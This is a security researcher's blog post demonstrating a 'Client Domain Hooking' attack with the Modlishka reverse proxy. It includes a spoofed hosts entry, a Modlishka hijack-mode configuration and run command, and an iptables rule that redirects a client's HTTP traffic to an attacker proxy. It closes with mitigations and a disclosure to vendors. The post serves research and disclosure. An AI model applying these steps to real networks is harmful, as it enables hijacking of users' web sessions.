Client Domain Hooking

Client Domain Hooking - Example Attack – duszynski.eu – Piotr Duszyński

Client Domain Hooking - Example Attack

Written on May 20, 2019

In my last blog post I have released a paper that described all relevant technical aspects of the ‘Client Domain Hooking’, along with a HTTP Strict Transport Security (HSTS) survey made for the TOP 1000 Alexa websites.

In this post I will show how to run a simulated, ‘Client domain Hooking’ attack which will be used to evaluate an example browser-based application security posture.

“Prerequisites”

In order to execute this attack, you will need the following set-up:

any active and registered domain name (we will be using ‘cdh.modlishka.io’ as an example).

a valid wildcard TLS certificate for the domain that we own (it can be either bought or obtained from the “Let’s Encrypt” service).

latest version of Modlishka v.1.1 reverse proxy.

target applications, such as the latest version of Chrome browser and example vulnerable WebView based mobile applications.

I will not go through the basic steps of configuring and deploying all of the above mentioned prerequisites. You can find all of the relevant information about it here. The remaining part of this post will assume that the whole infrastructure and tools have been properly configured.

A general overview of the approach

Client Domain Hooking

Interception of the HTTP flow through a single non-TLS HTTP request for one of the domains, will indirectly result in a compromise of all future requests for all new domains in the current browsing session context.

“Hijacking HTTP traffic flow”

Lets consider a standard attack vector, when the target domain name has been hijacked through a ‘DNS Cache Poisoning’:

1. Simulate a poisoned DNS entry

The recommended approach, is to use the dnsmasq, which allows to easily spoof chosen domain names.

This can be also achieve by simply modifying your ‘/etc/hosts’ entries and appending the following entry:

127.0.0.1 google.tld

where 127.0.0.1, should be of course replaced with your proxy IP address. Just bear in mind, that not all browsers respect this file.

Spoofed DNS record

Note: google.com has been chosen for a particular reason. It is one of many domains that do not return HSTS headers (as highlighted in original paper). Instead there’s an ‘HTTP 301 Permanent Redirect’ returned, that is supposed to internally redirect all future HTTP requests to the target domain. However, this approach has few security related drawbacks:

once the HTTP 301 has been returned it will be cached permanently by the browser, meaning that all future requests will be always automatically sent to an attacker-controlled domain. You can read more about this issue here.

2. Run Modlishka in ‘Dynamic Mode’

Enable the following settings in the JSON configuration file:

  "dynamicMode": true,

  "plugins": "hijack"

Execute the tool with your prepared configuration file:

 ./dist/proxy -config domain_client_hooking.json 

Modlishka running in dynamic mode

3. Test the browser

Open the browser and type in example ‘google.com’ (ensure that there’s no previous HTTP 301 entry in cache for this domain):

alt textalt text

This one is really interesting from the persistency point of view:

alt text

Modlishka diagnose log output:

alt text

Watch the video:

Watch the video

4. iOS mobile app

Project for this simple mobile application can be found here for the reference.

In the following examples mobile users wouldn’t be able to differentiate if the connected website is a legitimate one or not, despite that a TLS connection is being used.

Running this iOS application will have the following effect (vimeo):

Watch the video

Note: Set resolution to 1080p

5. Android mobile app

Project for this simple mobile application can be found here for the reference.

Running this Android application will have the following effect:

Watch the video

Note: Set resolution to 1080p

6. Hijacking and diagnosing client HTTP Traffic at scale

Hijacking HTTP traffic flow for a single domain is definitely an interesting proof-of-concept of the potential consequences. However, it’s a bit impractical from a usable diagnosis perspective.

In order to improve and automate this process it is recommended to redirect all of the HTTP related traffic to the IP address of our proxy domain ‘evil.tld* .

Example IPTABLES rule, that can be used on your router gateway:

iptables -t nat -I PREROUTING -p tcp -s client_ip_address --dport 80 -j DNAT --to proxy_server_address:80

With this approach you can easily inspect if any of your applications are sending non-TLS HTTP requests that can be used to domain hook them.

Client Domain Hooking

6.Conclusions

This form of an attack can lead, in certain circumstances , to hijack of both TLS and non-TLS HTTP traffic of browser-based applications without a requirement of constantly running an active network layer attack.

Furthermore, for some of the urls and under certain conditions, permanent hijack can be achieved, through HTTP 301 cache poisoning.

Fortunately, there are several things that can be done about this:

There are several mitigation methods that can be used to prevent this form of an attack:

End users should consider disabling non-TLS traffic through the following example plugins: “Firefox”, “Chrome” (still waiting for approval to the Chrome Store…)

Note: Details and potential risks related to this attack have been reported to all major browser vendors for their consideration.